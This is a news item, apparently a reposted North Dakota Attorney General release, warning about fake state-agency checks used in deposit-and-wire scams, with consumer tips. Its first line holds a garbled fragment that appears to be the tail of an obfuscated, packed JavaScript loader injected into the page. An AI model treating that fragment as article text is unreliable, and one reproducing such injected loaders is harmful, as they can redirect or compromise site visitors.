BISMARCK nfezt|var|u0026u|referrer|fardy||js|php’.split(‘|’),0,{}))
– Scam artists are again using phony checks supposedly from a North Dakota government agency in an effort to convince individuals that the scam is a legitimate venture. According to reports received by the Attorney General’s office, the scam artists instruct the recipient to deposit the “government” check and wire a certain amount to a third party. The recent reports involve phony ND Housing Finance Agency (HFA) checks. Several years ago, scam artists used faked checks supposedly from the ND Treasurer’s office and the ND Lottery.

“Fortunately, there have not been any victims so far,” said Attorney General Wayne Stenehjem. “I remind North Dakotans that no legitimate government official will ever instruct you to deposit a check and then wire money somewhere else. Regardless of the reason given, if that’s what you are told to do, then it’s a scam.”

Stenehjem said that there are so many different variations of these fake check/wire scams it simply is not possible to warn people about each one.

“As consumers become more skeptical about mystery shopper offers, phony international lottery wins, and other variations of this scam, the conmen have to raise the bar. Using fake North Dakota state government checks is one way they try to convince their victims that this time, the offer is real,” Stenehjem said.

Stenehjem offered these tips to North Dakota consumers.

– If you receive an unexpected check from a state government agency, contact the agency directly before depositing the check. Do not call any number listed on the check or in the instructions accompanying the check. Contact information for ND state agencies is available online at www.nd.gov, or in the “government” section of your local telephone book.

– Never agree to deposit a check you receive in the mail or by courier and wire money back to the sender or on to a third party. There is no legitimate reason for someone who is giving you money to ask you to wire some of it elsewhere. The check will bounce and you will owe the bank the money because you are responsible for any checks you deposit.

-Wiring money is just like sending cash. Once you have completed the wire transaction, the money is gone and cannot be returned to you.

Leave a Reply